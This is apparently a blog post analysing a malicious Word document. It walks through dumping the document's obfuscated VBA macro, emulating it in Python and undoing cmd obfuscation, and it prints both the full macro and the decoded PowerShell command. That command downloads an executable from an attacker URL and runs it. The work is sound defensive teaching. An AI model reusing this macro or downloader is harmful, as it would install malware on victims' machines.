Malware Analysis: BMW_Of_Sterlin.doc
Someone on an InfoSec group I participate in asked for help looking at a potentially malicious word doc. I took a quick look, and when I sent back the command line that came out, he asked if I could share how I was able to de-obfuscate quickly. In writing it up for him, I figured it might help others as well, so I’ll post it here as an example.
File Info
Filename | BMW_Of_Sterlin.doc |
md5 | 8a9ed3e9bc19b69a04e2c55cf5955afb |
VT Link | https://www.virustotal.com/#/file/78f91df61f05fbbf08d046621e38d4d36ebe519810973e989e57602236e3dc6a/detection |
Metadata
The file was uploaded to VT 2018-09-11 17:19:41 from the US. The creation date was the same day, 2018-09-11 08:27:00. The Author was Apanywaewyraenex-PC, and used a Cyrillic language pack.
VT Detections
When uploaded on 9/11, the detection rate was 19/59. 24 hours later, it had jumped to 31/60:
Document
User Experience
While it’s not necessary for the general analysis, it’s always nice to take a look at what the document actually looks like to the user. In this case, it’s a generic “earlier version of office” lure to enable macros:
VBA
Dumping and Cleaning
First, I’ll dump out the VBA using olevba
, just calling it as olevba [filename]
. In the output, I see the following three Subs/Functions defined:
- Document_Open()
- FPwimk()
- FScXPdzAh()
There’s also a bunch of junk added to make things more confusing, all in the form of VarType …
calls. These lines just evaluate to ints, and are space fillers.
I’ll clean up the output by removing the metadata added by olevba and the VarType lines. One trick in vim
is to do :g/VarType/d
to quickly delete all of these. I’m left with the following vba:
Private Sub Document_open()
On Error Resume Next
Shell FPwimk + FScXPdzAh, Format(vbHide)
End Sub
Function FPwimk()
On Error Resume Next
USojhESRic
= Format(Chr(0 + 1 + 2 + 5 + 91)) + "md " + "/V/" + Format(Chr(0 + 1 + 1
+ 3 + 62)) + Format(Chr(0 + 0 + 0 + 1 + 33)) + "s" + "^e^t ^" + "K1" +
"=" + "^ ^ " + "^ ^ ^" + " "
Tqssc = " " + " " + "^ }^" +
"}^{^h" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^t^a" + Format(Chr(0 + 1 + 2
+ 5 + 91)) + "};ka^e" + "r^b"
oOsKiVzW = ";" + "z^i^" + "A$ m" + "etI-e" + "^k" + "^" + "o" + "v" + "n" + "I;"
YjmhqPb = ")" + "^zi" + "^A^$^" + " " + "^,dq" + "^f$" + "(^"
krszIdntsUo
= "e^li^F^" + "dao^lnw" + "^oD." + Format(Chr(0 + 1 + 2 + 5 + 91)) +
"^W" + "V^$" + "{^yrt{)" + "t^" + "I^w^$" + "^" + " ni^ d" + "q^f^$(h" +
Format(Chr(0 + 1 + 2 + 5 + 91)) + "a^er" + "o^f"
DvWCiTuRV = ";^'e^xe" + ".^'" + "^+Kz" + "^j^$+^'" + "\^'+" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^i" + "l^bu^"
jIBcBnjZ = "p^:vn^" + "e^$=z^" + "i^A$^;^" + "'^9" + "63^" + "' = ^K" + "z^j^$^" + ";" + ")" + "'^@'(" + "t" + "i^l" + "^pS^.^'"
KWsLc = "nkt.2" + "a^g" + "r^at^=l" + "?php.t" + "^o^ksn"
HLFivtYKQ
= "a" + "po" + "/TT" + "R/mo" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^." +
"r^j^" + "5om" + "2" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^s^e"
wRhwirP = "fd5^9" + "t" + "//:p^t^" + "t^h'=" + "tI^w"
vcjvLjqHS
= "$" + ";^tn^e" + "^il" + Format(Chr(0 + 1 + 1 + 3 + 62)) + "be^" +
"W^.^" + "t^eN" + " ^t" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^ej" +
"^bo^" + "-^w^"
aPaiGjc = "en=" + Format(Chr(0 + 1 + 2 + 5 + 91)) +
"W" + "V" + "$^" + " ^lle" + "h^sr" + "^e^w^o" + "^p&&" + "for
/^" + "L %R " + "^in (" + "2^6" + "^5^;-^" + "1"
kBEtovj = ";^0)d" + "^" + "o ^" + "se^t ^Z" + "^Y=" + "!^Z^" + "Y!" + "!^K1:~%" + "R" + ",1!&&i"
FPwimk
= USojhESRic + Tqssc + oOsKiVzW + YjmhqPb + krszIdntsUo + DvWCiTuRV +
jIBcBnjZ + KWsLc + HLFivtYKQ + wRhwirP + vcjvLjqHS + aPaiGjc + kBEtovj
End Function
Function FScXPdzAh()
On Error Resume Next
XmdrRVAlf = "^" + "f %R" + "=" + "=" + "^0 " + Format(Chr(0 + 1 + 2 + 5 + 91)) + "a" + "^l^l %^" + "Z^" + "Y:*^ZY^"
ZsfrSsv = "!" + "=%" + Format(Chr(0 + 0 + 0 + 1 + 33)) + " " + ""
FScXPdzAh = XmdrRVAlf + ZsfrSsv
End Function
Deobfuscating VBA
The function that’s run on open simply appends the output of the other two, and passes that to a shell. The other two are just doing lots of string building. Since I don’t have a VBA emulator handy, but I do have python, I’ll look at the code with an eye towards how much would have to change to get it to run as python.
Short answer, not much. There are two functions that python will choke on: Format
and Chr
. But Format
called with only one parameters in VBA just returns that parameter. And Chr
is the same as chr
in python.
So I popped open a python shell. First, I’ll define the functions I need (easier than editing them out of the text). Then I’ll paste in the string definitions from the VBA, doing the Document_Open one last, since it relies on the other two. For those unfamiliar with python’s lambda format, lambda [var] : [return value]
simply defines a function that takes one parameter and returns it.
>>> # Create Functions to emulate VBA
...
>>> Format = lambda x : x
>>> Chr = chr
>>>
>>> # Strings from FPwimk function
...
>>> USojhESRic = Format(Chr(0 + 1 + 2 + 5 + 91)) + "md " + "/V/" + Format(Chr(0 + 1 + 1 + 3 + 62)) + Format(Chr(0 + 0 + 0 + 1 + 33)) + "s" + "^e^t ^" + "K1" + "=" + "^ ^ " + "^ ^ ^" + " "
>>> Tqssc = " " + " " + "^ }^" + "}^{^h" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^t^a" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "};ka^e" + "r^b"
>>> oOsKiVzW = ";" + "z^i^" + "A$ m" + "etI-e" + "^k" + "^" + "o" + "v" + "n" + "I;"
>>> YjmhqPb = ")" + "^zi" + "^A^$^" + " " + "^,dq" + "^f$" + "(^"
>>> krszIdntsUo = "e^li^F^" + "dao^lnw" + "^oD." + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^W" + "V^$" + "{^yrt{)" + "t^" + "I^w^$" + "^" + " ni^ d" + "q^f^$(h" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "a^er" + "o^f"
>>> DvWCiTuRV = ";^'e^xe" + ".^'" + "^+Kz" + "^j^$+^'" + "\^'+" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^i" + "l^bu^"
>>> jIBcBnjZ = "p^:vn^" + "e^$=z^" + "i^A$^;^" + "'^9" + "63^" + "' = ^K" + "z^j^$^" + ";" + ")" + "'^@'(" + "t" + "i^l" + "^pS^.^'"
>>> KWsLc = "nkt.2" + "a^g" + "r^at^=l" + "?php.t" + "^o^ksn"
>>> HLFivtYKQ = "a" + "po" + "/TT" + "R/mo" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^." + "r^j^" + "5om" + "2" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^s^e"
>>> wRhwirP = "fd5^9" + "t" + "//:p^t^" + "t^h'=" + "tI^w"
>>> vcjvLjqHS = "$" + ";^tn^e" + "^il" + Format(Chr(0 + 1 + 1 + 3 + 62)) + "be^" + "W^.^" + "t^eN" + " ^t" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^ej" + "^bo^" + "-^w^"
>>> aPaiGjc = "en=" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "W" + "V" + "$^" + " ^lle" + "h^sr" + "^e^w^o" + "^p&&" + "for /^" + "L %R " + "^in (" + "2^6" + "^5^;-^" + "1"
>>> kBEtovj = ";^0)d" + "^" + "o ^" + "se^t ^Z" + "^Y=" + "!^Z^" + "Y!" + "!^K1:~%" + "R" + ",1!&&i"
>>> FPwimk = USojhESRic + Tqssc + oOsKiVzW + YjmhqPb + krszIdntsUo + DvWCiTuRV + jIBcBnjZ + KWsLc + HLFivtYKQ + wRhwirP + vcjvLjqHS + aPaiGjc + kBEtovj
>>>
>>> # Strings from FScXPdzAh function
...
>>> XmdrRVAlf = "^" + "f %R" + "=" + "=" + "^0 " + Format(Chr(0 + 1 + 2 + 5 + 91)) + "a" + "^l^l %^" + "Z^" + "Y:*^ZY^"
>>> ZsfrSsv = "!" + "=%" + Format(Chr(0 + 0 + 0 + 1 + 33)) + " " + ""
>>> FScXPdzAh = XmdrRVAlf + ZsfrSsv
>>>
>>> # From Document_Open, string passed to Shell
...
>>> print FPwimk + FScXPdzAh
cmd /V/C"s^e^t ^K1=^ ^ ^ ^ ^ ^ }^}^{^hc^t^ac};ka^er^b;z^i^A$ metI-e^k^ovnI;)^zi^A^$^ ^,dq^f$(^e^li^F^dao^lnw^oD.c^WV^${^yrt{)t^I^w^$^ ni^ dq^f^$(hca^ero^f;^'e^xe.^'^+Kz^j^$+^'\^'+c^il^bu^p^:vn^e^$=z^i^A$^;^'^963^' = ^Kz^j^$^;)'^@'(ti^l^pS^.^'nkt.2a^gr^at^=l?php.t^o^ksnapo/TTR/moc^.r^j^5om2c^s^efd5^9t//:p^t^t^h'=tI^w$;^tn^e^ilCbe^W^.^t^eN ^tc^ej^bo^-^w^en=cWV$^ ^lleh^sr^e^w^o^p&&for /^L %R ^in (2^6^5^;-^1;^0)d^o ^se^t ^Z^Y=!^Z^Y!!^K1:~%R,1!&&i^f %R==^0 ca^l^l %^Z^Y:*^ZY^!=%"
Deobfuscating Dosfuscation
Well, that’s clearly using some dosfuscation. The first step is to remove all the ^
s:
>>> out.replace('^','')
'cmd /V/C"set K1= }}{hctac};kaerb;ziA$ metI-ekovnI;)ziA$ ,dqf$(eliFdaolnwoD.cWV${yrt{)tIw$ ni dqf$(hcaerof;\'exe.\'+Kzj$+\'\\\'+cilbup:vne$=ziA$;\'963\' = Kzj$;)\'@\'(tilpS.\'nkt.2agrat=l?php.toksnapo/TTR/moc.rj5om2csefd59t//:ptth\'=tIw$;tneilCbeW.teN
tcejbo-wen=cWV$ llehsrewop&&for /L %R in (265;-1;0)do set
ZY=!ZY!!K1:~%R,1!&&if %R==0 call %ZY:*ZY!=%" '
The resulting command line does a few things:
- Sets a variable K1 to a long string
- Runs a for loop over a variable %R from 265 down to 0 subtracting 1
- In that loop, it sets Z1 = Z1 + the Rth character in K1
- If R is 0 it executes the string in Z1
We can do the same thing with python:
That is basically reversing the string. We can do that in python:
>>> string = ' }}{hctac};kaerb;ziA$ metI-ekovnI;)ziA$ ,dqf$(eliFdaolnwoD.cWV${yrt{)tIw$ ni dqf$(hcaerof;\'exe.\'+Kzj$+\'\\\'+cilbup:vne$=ziA$;\'963\' = Kzj$;)\'@\'(tilpS.\'nkt.2agrat=l?php.toksnapo/TTR/moc.rj5om2csefd59t//:ptth\'=tIw$;tneilCbeW.teN tcejbo-wen=cWV$ llehsrewop'
>>> string[265:0:-1]
"powershell $VWc=new-object Net.WebClient;$wIt='http://t95dfesc2mo5jr.com/RTT/opanskot.php?l=targa2.tkn'.Split('@');$jzK = '369';$Aiz=$env:public+'\\'+$jzK+'.exe';foreach($fqd in $wIt){try{$VWc.DownloadFile($fqd, $Aiz);Invoke-Item $Aiz;break;}catch{}} "
Now we have some nice powershell, which cleaned up, looks like this:
$VWc=new-object Net.WebClient;
$wIt='<http://t95dfesc2mo5jr.com/RTT/opanskot.php?l=targa2.tkn'.Split('@')>;
$jzK = '369';
$Aiz=$env:public+'\\'+$jzK+'.exe';
foreach($fqd in $wIt) {
try{
$VWc.DownloadFile($fqd, $Aiz);
Invoke-Item $Aiz;break;
} catch{
}
}
So, it downloads a file from http://t95dfesc2mo5jr.com/RTT/opanskot.php?l=targa2.tkn
, saves it as 369.exe in the public folder, and runs it.
A Google search of that url shows that it is malicious (not surprising) and that it was registered the day before the document was sent:
Summary
There’s nothing particularly interesting about this malware. But getting comfortable with linux command line tools for pulling VBA out of documents and deobfuscating is a skill that’s worth developing and practicing. Hopefully this was helpful (leave a comment if so!).